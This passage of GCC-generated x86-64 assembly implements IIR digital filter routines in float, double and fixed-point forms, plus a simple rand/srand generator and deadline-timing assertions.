movss xmm1, DWORD PTR [rax]
divss xmm0, xmm1
cvtss2sd xmm0, xmm0
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -16[rbp]
comisd xmm0, QWORD PTR .LC36[rip]
ja .L564
movsd xmm0, QWORD PTR .LC37[rip]
comisd xmm0, QWORD PTR -16[rbp]
ja .L564
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC7[rip]
comisd xmm0, xmm1
jnb .L557
lea rcx, __PRETTY_FUNCTION__.16[rip]
mov edx, 412
lea rsi, .LC33[rip]
lea rdi, .LC38[rip]
call __assert_fail@PLT
.L563:
nop
jmp .L557
.L564:
nop
.L557:
add DWORD PTR -20[rbp], 1
.L554:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -52[rbp]
jl .L561
movss xmm0, DWORD PTR .LC35[rip]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE84:
.size snrPoint, .-snrPoint
.globl next
.data
.align 8
.type next, @object
.size next, 8
next:
.quad 1
.text
.globl rand
.type rand, @function
rand:
.LFB85:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov rax, QWORD PTR next[rip]
imul rax, rax, 1103515245
add rax, 12345
mov QWORD PTR next[rip], rax
mov rax, QWORD PTR next[rip]
shr rax, 16
and eax, 32767
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE85:
.size rand, .-rand
.globl srand
.type srand, @function
srand:
.LFB86:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, DWORD PTR -4[rbp]
mov QWORD PTR next[rip], rax
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE86:
.size srand, .-srand
.section .rodata
.align 8
.LC41:
.string "(double)timer1*CYCLE <= (double)DEADLINE"
.text
.globl iirIIOutTime
.type iirIIOutTime, @function
iirIIOutTime:
.LFB87:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
movss DWORD PTR -60[rbp], xmm0
mov QWORD PTR -72[rbp], rsi
mov QWORD PTR -80[rbp], rdx
mov DWORD PTR -64[rbp], ecx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -40[rbp], 0
pxor xmm0, xmm0
movss DWORD PTR -36[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 4
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 4
mov QWORD PTR -8[rbp], rax
add DWORD PTR -40[rbp], 71
mov DWORD PTR -28[rbp], 1
jmp .L569
.L570:
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
mov rax, QWORD PTR -56[rbp]
movss xmm0, DWORD PTR [rax]
subss xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movss DWORD PTR [rax], xmm0
add DWORD PTR -40[rbp], 54
add DWORD PTR -28[rbp], 1
.L569:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -64[rbp]
jl .L570
mov rax, QWORD PTR -56[rbp]
movss xmm0, DWORD PTR [rax]
addss xmm0, DWORD PTR -60[rbp]
mov rax, QWORD PTR -56[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -32[rbp], 0
jmp .L571
.L572:
mov rax, QWORD PTR -16[rbp]
lea rdx, 4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -36[rbp]
addss xmm0, xmm1
movss DWORD PTR -36[rbp], xmm0
add DWORD PTR -40[rbp], 46
add DWORD PTR -32[rbp], 1
.L571:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L572
add DWORD PTR -40[rbp], 38
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -40[rbp]
movsd xmm2, QWORD PTR .LC39[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR .LC40[rip]
comisd xmm0, xmm1
jnb .L573
lea rcx, __PRETTY_FUNCTION__.15[rip]
mov edx, 450
lea rsi, .LC33[rip]
lea rdi, .LC41[rip]
call __assert_fail@PLT
.L573:
movss xmm0, DWORD PTR -36[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE87:
.size iirIIOutTime, .-iirIIOutTime
.globl iirIItOutTime
.type iirIItOutTime, @function
iirIItOutTime:
.LFB88:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov QWORD PTR -40[rbp], rdi
movss DWORD PTR -44[rbp], xmm0
mov QWORD PTR -56[rbp], rsi
mov QWORD PTR -64[rbp], rdx
mov DWORD PTR -48[rbp], ecx
mov DWORD PTR -68[rbp], r8d
mov DWORD PTR -32[rbp], 0
pxor xmm0, xmm0
movss DWORD PTR -24[rbp], xmm0
mov rax, QWORD PTR -56[rbp]
add rax, 4
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -48[rbp]
cmp DWORD PTR -68[rbp], eax
cmovge eax, DWORD PTR -68[rbp]
mov DWORD PTR -20[rbp], eax
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -44[rbp]
mov rax, QWORD PTR -40[rbp]
movss xmm0, DWORD PTR [rax]
addss xmm0, xmm1
movss DWORD PTR -24[rbp], xmm0
add DWORD PTR -32[rbp], 105
mov DWORD PTR -28[rbp], 0
jmp .L576
.L579:
mov eax, DWORD PTR -28[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -28[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -48[rbp]
sub eax, 1
cmp DWORD PTR -28[rbp], eax
jge .L577
mov rax, QWORD PTR -16[rbp]
lea rdx, 4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm0, DWORD PTR [rax]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -24[rbp]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
subss xmm0, xmm1
movss DWORD PTR [rax], xmm0
add DWORD PTR -32[rbp], 41
.L577:
mov eax, DWORD PTR -68[rbp]
sub eax, 1
cmp DWORD PTR -28[rbp], eax
jge .L578
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -44[rbp]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
addss xmm0, xmm1
movss DWORD PTR [rax], xmm0
add DWORD PTR -32[rbp], 38
.L578:
add DWORD PTR -32[rbp], 54
add DWORD PTR -28[rbp], 1
.L576:
mov eax, DWORD PTR -20[rbp]
sub eax, 1
cmp DWORD PTR -28[rbp], eax
jl .L579
add DWORD PTR -32[rbp], 7
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -32[rbp]
movsd xmm2, QWORD PTR .LC39[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR .LC40[rip]
comisd xmm0, xmm1
jnb .L580
lea rcx, __PRETTY_FUNCTION__.14[rip]
mov edx, 477
lea rsi, .LC33[rip]
lea rdi, .LC41[rip]
call __assert_fail@PLT
.L580:
movss xmm0, DWORD PTR -24[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE88:
.size iirIItOutTime, .-iirIItOutTime
.globl iirIItOutTime_double
.type iirIItOutTime_double, @function
iirIItOutTime_double:
.LFB89:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
movsd QWORD PTR -64[rbp], xmm0
mov QWORD PTR -72[rbp], rsi
mov QWORD PTR -80[rbp], rdx
mov DWORD PTR -84[rbp], ecx
mov DWORD PTR -88[rbp], r8d
mov DWORD PTR -36[rbp], 0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -84[rbp]
cmp DWORD PTR -88[rbp], eax
cmovge eax, DWORD PTR -88[rbp]
mov DWORD PTR -28[rbp], eax
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -64[rbp]
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -36[rbp], 105
mov DWORD PTR -32[rbp], 0
jmp .L583
.L586:
mov eax, DWORD PTR -32[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rdx, rax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L584
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -8[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
subsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
add DWORD PTR -36[rbp], 41
.L584:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L585
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -64[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
add DWORD PTR -36[rbp], 38
.L585:
add DWORD PTR -36[rbp], 54
add DWORD PTR -32[rbp], 1
.L583:
mov eax, DWORD PTR -28[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jl .L586
add DWORD PTR -36[rbp], 7
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -36[rbp]
movsd xmm2, QWORD PTR .LC39[rip]
movapd xmm1, xmm0
divsd xmm1, xmm2
movsd xmm0, QWORD PTR .LC40[rip]
comisd xmm0, xmm1
jnb .L587
lea rcx, __PRETTY_FUNCTION__.13[rip]
mov edx, 504
lea rsi, .LC33[rip]
lea rdi, .LC41[rip]
call __assert_fail@PLT
.L587:
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE89:
.size iirIItOutTime_double, .-iirIItOutTime_double
.globl iirOutBoth
.type iirOutBoth, @function
iirOutBoth:
.LFB90:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 144
mov QWORD PTR -104[rbp], rdi
mov QWORD PTR -112[rbp], rsi
mov QWORD PTR -120[rbp], rdx
mov QWORD PTR -128[rbp], rcx
mov QWORD PTR -136[rbp], r8
mov QWORD PTR -144[rbp], r9
mov QWORD PTR -8[rbp], 0
pxor xmm0, xmm0
movss DWORD PTR -84[rbp], xmm0
mov rax, QWORD PTR 24[rbp]
add rax, 8
mov QWORD PTR -72[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -144[rbp]
add rax, rdx
mov QWORD PTR -64[rbp], rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR -56[rbp], rax
mov eax, DWORD PTR 56[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR 16[rbp]
add rax, rdx
mov QWORD PTR -48[rbp], rax
mov rax, QWORD PTR -120[rbp]
add rax, 4
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -104[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -128[rbp]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR 56[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -112[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -80[rbp], 0
jmp .L590
.L591:
mov rax, QWORD PTR -48[rbp]
lea rdx, -8[rax]
mov QWORD PTR -48[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -56[rbp]
lea rcx, 8[rax]
mov QWORD PTR -56[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, -4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -84[rbp]
addss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
add DWORD PTR -80[rbp], 1
.L590:
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR 56[rbp]
jl .L591
mov DWORD PTR -76[rbp], 1
jmp .L592
.L593:
mov rax, QWORD PTR -64[rbp]
lea rdx, -8[rax]
mov QWORD PTR -64[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -72[rbp]
lea rcx, 8[rax]
mov QWORD PTR -72[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -40[rbp]
lea rdx, 4[rax]
mov QWORD PTR -40[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
lea rdx, -4[rax]
mov QWORD PTR -32[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -84[rbp]
subss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
add DWORD PTR -76[rbp], 1
.L592:
mov eax, DWORD PTR -76[rbp]
cmp eax, DWORD PTR 48[rbp]
jl .L593
mov rax, QWORD PTR 40[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -136[rbp]
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE90:
.size iirOutBoth, .-iirOutBoth
.globl iirOutFixedL
.type iirOutFixedL, @function
iirOutFixedL:
.LFB91:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov QWORD PTR -88[rbp], r8
mov DWORD PTR -92[rbp], r9d
mov QWORD PTR -8[rbp], 0
mov eax, DWORD PTR -92[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 8
mov QWORD PTR -32[rbp], rax
mov eax, DWORD PTR 16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -48[rbp], 0
jmp .L595
.L596:
mov eax, DWORD PTR -48[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov edx, DWORD PTR -48[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -64[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rcx, -8[rax]
mov QWORD PTR -24[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -8[rbp], rax
add DWORD PTR -48[rbp], 1
.L595:
mov eax, DWORD PTR 16[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jl .L596
mov eax, DWORD PTR 16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -64[rbp]
add rdx, rax
mov rax, QWORD PTR -72[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rcx, -8[rax]
mov QWORD PTR -24[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -44[rbp], 1
jmp .L597
.L598:
mov rax, QWORD PTR -32[rbp]
lea rdx, 8[rax]
mov QWORD PTR -32[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -40[rbp]
lea rcx, -8[rax]
mov QWORD PTR -40[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -44[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -56[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
add DWORD PTR -44[rbp], 1
.L597:
mov eax, DWORD PTR -92[rbp]
sub eax, 1
cmp DWORD PTR -44[rbp], eax
jl .L598
cmp DWORD PTR -92[rbp], 1
jle .L599
mov rax, QWORD PTR -32[rbp]
lea rdx, 8[rax]
mov QWORD PTR -32[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -40[rbp]
lea rcx, -8[rax]
mov QWORD PTR -40[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -8[rbp], rax
.L599:
mov eax, DWORD PTR -92[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -56[rbp]
add rdx, rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE91:
.size iirOutFixedL, .-iirOutFixedL
.globl iirOutFloatL
.type iirOutFloatL, @function
iirOutFloatL:
.LFB92:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
movss DWORD PTR -68[rbp], xmm0
mov QWORD PTR -80[rbp], rdx
mov QWORD PTR -88[rbp], rcx
mov DWORD PTR -72[rbp], r8d
mov DWORD PTR -92[rbp], r9d
pxor xmm0, xmm0
movss DWORD PTR -44[rbp], xmm0
mov eax, DWORD PTR -72[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 4
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR -92[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -40[rbp], 0
jmp .L602
.L603:
mov eax, DWORD PTR -40[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rdx, rax
mov eax, DWORD PTR -40[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -16[rbp]
lea rdx, -4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -44[rbp]
addss xmm0, xmm1
movss DWORD PTR -44[rbp], xmm0
add DWORD PTR -40[rbp], 1
.L602:
mov eax, DWORD PTR -92[rbp]
sub eax, 1
cmp DWORD PTR -40[rbp], eax
jl .L603
mov eax, DWORD PTR -92[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
movss xmm0, DWORD PTR -68[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -16[rbp]
lea rdx, -4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -44[rbp]
addss xmm0, xmm1
movss DWORD PTR -44[rbp], xmm0
mov DWORD PTR -36[rbp], 1
jmp .L604
.L605:
mov rax, QWORD PTR -32[rbp]
lea rdx, -4[rax]
mov QWORD PTR -32[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -44[rbp]
subss xmm0, xmm1
movss DWORD PTR -44[rbp], xmm0
mov eax, DWORD PTR -36[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -56[rbp]
add rdx, rax
mov eax, DWORD PTR -36[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -56[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
add DWORD PTR -36[rbp], 1
.L604:
mov eax, DWORD PTR -72[rbp]
sub eax, 1
cmp DWORD PTR -36[rbp], eax
jl .L605
cmp DWORD PTR -72[rbp], 1
jle .L606
mov rax, QWORD PTR -32[rbp]
lea rdx, -4[rax]
mov QWORD PTR -32[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -44[rbp]
subss xmm0, xmm1
movss DWORD PTR -44[rbp], xmm0
.L606:
mov eax, DWORD PTR -72[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR [rax], xmm0
movss xmm0, DWORD PTR -44[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE92:
.size iirOutFloatL, .-iirOutFloatL
.globl iirOutBothL
.type iirOutBothL, @function
iirOutBothL:
.LFB93:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 152
mov QWORD PTR -104[rbp], rdi
mov QWORD PTR -112[rbp], rsi
mov QWORD PTR -120[rbp], rdx
mov QWORD PTR -128[rbp], rcx
movss DWORD PTR -132[rbp], xmm0
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -152[rbp], r9
mov QWORD PTR -40[rbp], 0
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR 16[rbp]
add rax, rdx
mov QWORD PTR -72[rbp], rax
mov rax, QWORD PTR -144[rbp]
add rax, 8
mov QWORD PTR -64[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR 24[rbp]
add rax, rdx
mov QWORD PTR -56[rbp], rax
mov rax, QWORD PTR -152[rbp]
mov QWORD PTR -48[rbp], rax
pxor xmm0, xmm0
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -104[rbp]
add rax, 4
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -128[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -112[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -80[rbp], 0
jmp .L609
.L610:
mov eax, DWORD PTR -80[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
mov edx, DWORD PTR -80[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -152[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -48[rbp]
lea rdx, 8[rax]
mov QWORD PTR -48[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -56[rbp]
lea rcx, -8[rax]
mov QWORD PTR -56[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -40[rbp]
mov rsi, rdx
